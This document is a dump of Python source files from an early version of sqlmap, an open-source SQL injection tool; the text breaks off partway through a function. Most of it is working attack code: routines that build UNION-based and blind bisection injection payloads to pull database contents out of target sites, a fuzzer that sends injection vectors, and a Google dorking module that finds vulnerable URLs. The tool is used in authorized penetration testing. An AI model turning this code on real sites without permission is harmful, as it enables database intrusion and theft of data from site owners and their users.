host, rest = urllib.splithost(rest)
|
||||
|
||||
# Try to get port
|
||||
host, port = urllib.splitport(host)
|
||||
|
||||
# If port is not defined try to get from proto
|
||||
if port is None:
|
||||
try:
|
||||
port = self._ports[proto]
|
||||
except KeyError:
|
||||
raise ValueError, "unknown protocol for: %s" % url
|
||||
|
||||
self._real_host = host
|
||||
self._real_port = int(port)
|
||||
|
||||
httplib.HTTPConnection.request(self, method, url, body, headers)
|
||||
|
||||
|
||||
def connect(self):
|
||||
httplib.HTTPConnection.connect(self)
|
||||
|
||||
# Send proxy CONNECT request
|
||||
self.send("CONNECT %s:%d HTTP/1.0\r\n\r\n" % (self._real_host, self._real_port))
|
||||
|
||||
# Expect a HTTP/1.0 200 Connection established
|
||||
response = self.response_class(self.sock, strict=self.strict, method=self._method)
|
||||
(version, code, message) = response._read_status()
|
||||
|
||||
# Probably here we can handle auth requests...
|
||||
if code != 200:
|
||||
# Proxy returned and error, abort connection, and raise exception
|
||||
self.close()
|
||||
|
||||
raise socket.error, "Proxy connection failed: %d %s" % (code, message.strip())
|
||||
|
||||
# Eat up header block from proxy
|
||||
while True:
|
||||
# Should not use directly fp probably
|
||||
line = response.fp.readline()
|
||||
|
||||
if line == "\r\n":
|
||||
break
|
||||
|
||||
|
||||
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||
default_port = 443
|
||||
|
||||
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
|
||||
ProxyHTTPConnection.__init__(self, host, port)
|
||||
self.key_file = key_file
|
||||
self.cert_file = cert_file
|
||||
|
||||
def connect(self):
|
||||
ProxyHTTPConnection.connect(self)
|
||||
|
||||
# Make the sock ssl-aware
|
||||
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||
self.sock = httplib.FakeSocket(self.sock, ssl)
|
||||
|
||||
|
||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||
def __init__(self, proxy=None, debuglevel=0):
|
||||
self.proxy = proxy
|
||||
|
||||
urllib2.HTTPHandler.__init__(self, debuglevel)
|
||||
|
||||
def do_open(self, http_class, req):
|
||||
if self.proxy is not None:
|
||||
req.set_proxy(self.proxy, "http")
|
||||
|
||||
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
|
||||
|
||||
|
||||
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
|
||||
def __init__(self, proxy=None, debuglevel=0):
|
||||
self.proxy = proxy
|
||||
|
||||
urllib2.HTTPSHandler.__init__(self, debuglevel)
|
||||
|
||||
def do_open(self, http_class, req):
|
||||
if self.proxy is not None:
|
||||
req.set_proxy(self.proxy, "https")
|
||||
|
||||
return urllib2.HTTPSHandler.do_open(self, ProxyHTTPSConnection, req)
|
||||
25
lib/techniques/__init__.py
Normal file
25
lib/techniques/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
25
lib/techniques/inband/__init__.py
Normal file
25
lib/techniques/inband/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
25
lib/techniques/inband/union/__init__.py
Normal file
25
lib/techniques/inband/union/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
114
lib/techniques/inband/union/test.py
Normal file
114
lib/techniques/inband/union/test.py
Normal file
@@ -0,0 +1,114 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: test.py 293 2008-07-28 21:56:52Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setUnion
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def __effectiveUnionTest(query, comment):
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
SQL injection vulnerability. The test is done up to 50 columns
|
||||
on the target database table
|
||||
"""
|
||||
|
||||
resultDict = {}
|
||||
|
||||
for count in range(0, 50):
|
||||
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
|
||||
query = query[:-len(" FROM DUAL")]
|
||||
|
||||
if count:
|
||||
query += ", NULL"
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
query += " FROM DUAL"
|
||||
|
||||
commentedQuery = agent.postfixQuery(query, comment)
|
||||
payload = agent.payload(newValue=commentedQuery)
|
||||
newResult = Request.queryPage(payload)
|
||||
|
||||
if not newResult in resultDict.keys():
|
||||
resultDict[newResult] = (1, commentedQuery)
|
||||
else:
|
||||
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
|
||||
|
||||
if count:
|
||||
for element in resultDict.values():
|
||||
if element[0] == 1:
|
||||
if kb.injPlace == "GET":
|
||||
value = "%s?%s" % (conf.url, payload)
|
||||
elif kb.injPlace == "POST":
|
||||
value = "URL:\t'%s'" % conf.url
|
||||
value += "\nPOST:\t'%s'\n" % payload
|
||||
elif kb.injPlace == "Cookie":
|
||||
value = "URL:\t'%s'" % conf.url
|
||||
value += "\nCookie:\t'%s'\n" % payload
|
||||
elif kb.injPlace == "User-Agent":
|
||||
value = "URL:\t\t'%s'" % conf.url
|
||||
value += "\nUser-Agent:\t'%s'\n" % payload
|
||||
|
||||
return value
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def unionTest():
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
SQL injection vulnerability. The test is done up to 3*50 times
|
||||
"""
|
||||
|
||||
logMsg = "testing inband sql injection on parameter "
|
||||
logMsg += "'%s'" % kb.injParameter
|
||||
logger.info(logMsg)
|
||||
|
||||
value = ""
|
||||
|
||||
query = agent.prefixQuery("UNION ALL SELECT NULL")
|
||||
|
||||
for comment in ("--", "#", "/*", ";", "%00"):
|
||||
value = __effectiveUnionTest(query, comment)
|
||||
|
||||
if value:
|
||||
setUnion(comment, value.count("NULL"))
|
||||
|
||||
break
|
||||
|
||||
if kb.unionCount:
|
||||
logMsg = "the target url could be affected by an "
|
||||
logMsg += "inband sql injection vulnerability"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "the target url is not affected by an "
|
||||
warnMsg += "inband sql injection vulnerability"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return value
|
||||
154
lib/techniques/inband/union/use.py
Normal file
154
lib/techniques/inband/union/use.py
Normal file
@@ -0,0 +1,154 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: use.py 293 2008-07-28 21:56:52Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.session import setUnion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.html import htmlParser
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
|
||||
|
||||
def __unionPosition(count, expression):
|
||||
logMsg = "confirming inband sql injection on parameter "
|
||||
logMsg += "'%s'" % kb.injParameter
|
||||
logger.info(logMsg)
|
||||
|
||||
# For each column of the table (# of NULL) perform a request using
|
||||
# the UNION ALL SELECT statement to test it the target url is
|
||||
# affected by an exploitable inband SQL injection vulnerability
|
||||
for exprPosition in range(0, kb.unionCount):
|
||||
# Prepare expression with delimiters
|
||||
randQuery = randomStr()
|
||||
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
|
||||
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
||||
|
||||
if len(randQueryUnescaped) > len(expression):
|
||||
blankCount = len(randQueryUnescaped) - len(expression)
|
||||
expression = (" " * blankCount) + expression
|
||||
elif len(randQueryUnescaped) < len(expression):
|
||||
blankCount = len(expression) - len(randQueryUnescaped)
|
||||
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
|
||||
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
# Perform the request
|
||||
resultPage = Request.queryPage(payload, content=True)
|
||||
count += 1
|
||||
|
||||
# We have to assure that the randQuery value is not within the
|
||||
# HTML code of the result page because, for instance, it is there
|
||||
# when the query is wrong and the back-end DBMS is Microsoft SQL
|
||||
# server
|
||||
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
|
||||
|
||||
if randQuery in resultPage and not htmlParsed:
|
||||
setUnion(position=exprPosition)
|
||||
|
||||
break
|
||||
|
||||
if isinstance(kb.unionPosition, int):
|
||||
logMsg = "the target url is affected by an exploitable "
|
||||
logMsg += "inband sql injection vulnerability"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "the target url is not affected by an exploitable "
|
||||
warnMsg += "inband sql injection vulnerability, sqlmap will "
|
||||
warnMsg += "retrieve the expression output through blind sql "
|
||||
warnMsg += "injection technique"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return count
|
||||
|
||||
|
||||
def unionUse(expression):
|
||||
"""
|
||||
This function tests for an inband SQL injection on the target
|
||||
url then call its subsidiary function to effectively perform an
|
||||
inband SQL injection on the affected url
|
||||
"""
|
||||
|
||||
count = 0
|
||||
origExpr = expression
|
||||
start = time.time()
|
||||
|
||||
if not kb.unionCount:
|
||||
unionTest()
|
||||
|
||||
if not kb.unionCount:
|
||||
return
|
||||
|
||||
# Prepare expression with delimiters
|
||||
expression = agent.concatQuery(expression)
|
||||
expression = unescaper.unescape(expression)
|
||||
|
||||
# Confirm the inband SQL injection and get the exact column
|
||||
# position only once
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
count = __unionPosition(count, expression)
|
||||
|
||||
# Assure that the above function found the exploitable inband
|
||||
# SQL injection position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
return
|
||||
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(expression)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
logMsg = "query: %s" % query
|
||||
logger.info(logMsg)
|
||||
|
||||
# Perform the request
|
||||
resultPage = Request.queryPage(payload, content=True)
|
||||
count += 1
|
||||
|
||||
if temp.start not in resultPage or temp.stop not in resultPage:
|
||||
return
|
||||
|
||||
duration = int(time.time() - start)
|
||||
|
||||
logMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||
logger.info(logMsg)
|
||||
|
||||
# Parse the returned page to get the exact inband
|
||||
# sql injection output
|
||||
startPosition = resultPage.index(temp.start)
|
||||
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
|
||||
value = str(resultPage[startPosition:endPosition])
|
||||
|
||||
return value
|
||||
25
lib/techniques/inference/__init__.py
Normal file
25
lib/techniques/inference/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
213
lib/techniques/inference/blind.py
Normal file
213
lib/techniques/inference/blind.py
Normal file
@@ -0,0 +1,213 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: blind.py 355M 2008-10-15 00:00:47Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import threading
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import replaceNewlineTabs
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapValueException
|
||||
from lib.core.progress import ProgressBar
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def bisection(payload, expression, length=None):
|
||||
"""
|
||||
Bisection algorithm that can be used to perform blind SQL injection
|
||||
on an affected host
|
||||
"""
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, fieldToCast = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCast)
|
||||
expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1)
|
||||
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
||||
else:
|
||||
expressionUnescaped = unescaper.unescape(expression)
|
||||
|
||||
infoMsg = "query: %s" % expressionUnescaped
|
||||
logger.info(infoMsg)
|
||||
|
||||
if length and not isinstance(length, int) and length.isdigit():
|
||||
length = int(length)
|
||||
|
||||
if length == 0:
|
||||
return 0, ""
|
||||
|
||||
showEta = conf.eta and length
|
||||
numThreads = min(conf.threads, length)
|
||||
threads = []
|
||||
|
||||
if showEta:
|
||||
progress = ProgressBar(maxValue=length)
|
||||
progressTime = []
|
||||
|
||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
||||
if isinstance(length, int) and conf.threads > 1:
|
||||
infoMsg = "starting %d threads" % numThreads
|
||||
logger.info(infoMsg)
|
||||
|
||||
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length))
|
||||
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||
else:
|
||||
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||
|
||||
queriesCount = [0] # As list to deal with nested scoping rules
|
||||
|
||||
|
||||
def getChar(idx):
|
||||
maxValue = 127
|
||||
minValue = 0
|
||||
|
||||
while (maxValue - minValue) != 1:
|
||||
queriesCount[0] += 1
|
||||
limit = ((maxValue + minValue) / 2)
|
||||
|
||||
forgedPayload = payload % (expressionUnescaped, idx, limit)
|
||||
result = Request.queryPage(forgedPayload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
minValue = limit
|
||||
else:
|
||||
maxValue = limit
|
||||
|
||||
if (maxValue - minValue) == 1:
|
||||
if maxValue == 1:
|
||||
return None
|
||||
else:
|
||||
return chr(minValue + 1)
|
||||
|
||||
|
||||
def etaProgressUpdate(charTime, index):
|
||||
if len(progressTime) <= ( (length * 3) / 100 ):
|
||||
eta = 0
|
||||
else:
|
||||
midTime = sum(progressTime) / len(progressTime)
|
||||
midTimeWithLatest = (midTime + charTime) / 2
|
||||
eta = midTimeWithLatest * (length - index) / conf.threads
|
||||
|
||||
progressTime.append(charTime)
|
||||
progress.update(index)
|
||||
progress.draw(eta)
|
||||
|
||||
|
||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||
value = [None] * length
|
||||
index = [0] # As list for python nested function scoping
|
||||
idxlock = threading.Lock()
|
||||
iolock = threading.Lock()
|
||||
|
||||
|
||||
def downloadThread():
|
||||
while True:
|
||||
idxlock.acquire()
|
||||
|
||||
if index[0] >= length:
|
||||
idxlock.release()
|
||||
|
||||
return
|
||||
|
||||
index[0] += 1
|
||||
curidx = index[0]
|
||||
idxlock.release()
|
||||
|
||||
charStart = time.time()
|
||||
val = getChar(curidx)
|
||||
|
||||
if val == None:
|
||||
raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||
|
||||
value[curidx-1] = val
|
||||
|
||||
if showEta:
|
||||
etaProgressUpdate(time.time() - charStart, index[0])
|
||||
elif conf.verbose in ( 1, 2 ):
|
||||
s = "".join([c or "_" for c in value])
|
||||
iolock.acquire()
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||
iolock.release()
|
||||
|
||||
# Start the threads
|
||||
for _ in range(numThreads):
|
||||
thread = threading.Thread(target=downloadThread)
|
||||
thread.start()
|
||||
threads.append(thread)
|
||||
|
||||
# And wait for them to all finish
|
||||
for thread in threads:
|
||||
thread.join()
|
||||
|
||||
assert None not in value
|
||||
|
||||
value = "".join(value)
|
||||
|
||||
assert index[0] == length
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile(replaceNewlineTabs(value))
|
||||
|
||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value))
|
||||
|
||||
else:
|
||||
value = ""
|
||||
index = 0
|
||||
|
||||
while True:
|
||||
index += 1
|
||||
charStart = time.time()
|
||||
val = getChar(index)
|
||||
|
||||
if val == None:
|
||||
break
|
||||
|
||||
value += val
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile(replaceNewlineTabs(val))
|
||||
|
||||
if showEta:
|
||||
etaProgressUpdate(time.time() - charStart, index)
|
||||
elif conf.verbose in ( 1, 2 ):
|
||||
dataToStdout(val)
|
||||
|
||||
if conf.verbose in ( 1, 2 ) or showEta:
|
||||
dataToStdout("\n")
|
||||
|
||||
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
||||
infoMsg = "retrieved: %s" % value
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("]\n")
|
||||
|
||||
return queriesCount[0], value
|
||||
25
lib/utils/__init__.py
Normal file
25
lib/utils/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
43
lib/utils/fuzzer.py
Normal file
43
lib/utils/fuzzer.py
Normal file
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: fuzzer.py 247 2008-07-19 23:07:26Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def passiveFuzzing():
|
||||
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
|
||||
logger.info(logMsg)
|
||||
|
||||
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
|
||||
|
||||
for fuzzVector in fuzzVectors:
|
||||
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
|
||||
|
||||
payload = agent.payload(newValue=fuzzVector)
|
||||
Request.queryPage(payload)
|
||||
122
lib/utils/google.py
Normal file
122
lib/utils/google.py
Normal file
@@ -0,0 +1,122 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: google.py 330 2008-08-28 21:25:48Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import cookielib
|
||||
import re
|
||||
import urllib2
|
||||
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapRegExprException
|
||||
|
||||
|
||||
class Google:
|
||||
"""
|
||||
This class defines methods used to perform Google dorking (command
|
||||
line option '-g <google dork>'
|
||||
"""
|
||||
|
||||
def __init__(self, proxyHandler):
|
||||
self.__googleCookie = None
|
||||
self.__matches = []
|
||||
self.__cj = cookielib.LWPCookieJar()
|
||||
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
|
||||
self.opener.addheaders = conf.httpHeaders
|
||||
|
||||
|
||||
def __parsePage(self, page):
|
||||
"""
|
||||
Parse Google dork search results page to get the list of
|
||||
HTTP addresses
|
||||
"""
|
||||
|
||||
matches = []
|
||||
|
||||
regExpr = "class=r\076\074a href=\042(http[s]*://.+?)\042\sclass=l"
|
||||
matches = re.findall(regExpr, page, re.I | re.M)
|
||||
|
||||
return matches
|
||||
|
||||
|
||||
def getTargetUrls(self):
|
||||
"""
|
||||
This method returns the list of hosts with parameters out of
|
||||
your Google dork search results
|
||||
"""
|
||||
|
||||
targetUrls = set()
|
||||
|
||||
for match in self.__matches:
|
||||
if re.search("(.*?)\?(.+)", match, re.I):
|
||||
targetUrls.add(match)
|
||||
|
||||
return targetUrls
|
||||
|
||||
|
||||
def getCookie(self):
|
||||
"""
|
||||
This method is the first to be called when initializing a
|
||||
Google dorking object through this library. It is used to
|
||||
retrieve the Google session cookie needed to perform the
|
||||
further search
|
||||
"""
|
||||
|
||||
try:
|
||||
conn = self.opener.open("http://www.google.com/ncr")
|
||||
headers = conn.info()
|
||||
except urllib2.HTTPError, e:
|
||||
headers = e.info()
|
||||
except urllib2.URLError, e:
|
||||
errMsg = "unable to connect to Google"
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
|
||||
def search(self, googleDork):
|
||||
"""
|
||||
This method performs the effective search on Google providing
|
||||
the google dork and the Google session cookie
|
||||
"""
|
||||
|
||||
if not googleDork:
|
||||
return None
|
||||
|
||||
url = "http://www.google.com/search?"
|
||||
url += "q=%s&" % urlencode(googleDork)
|
||||
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
||||
|
||||
try:
|
||||
conn = self.opener.open(url)
|
||||
page = conn.read()
|
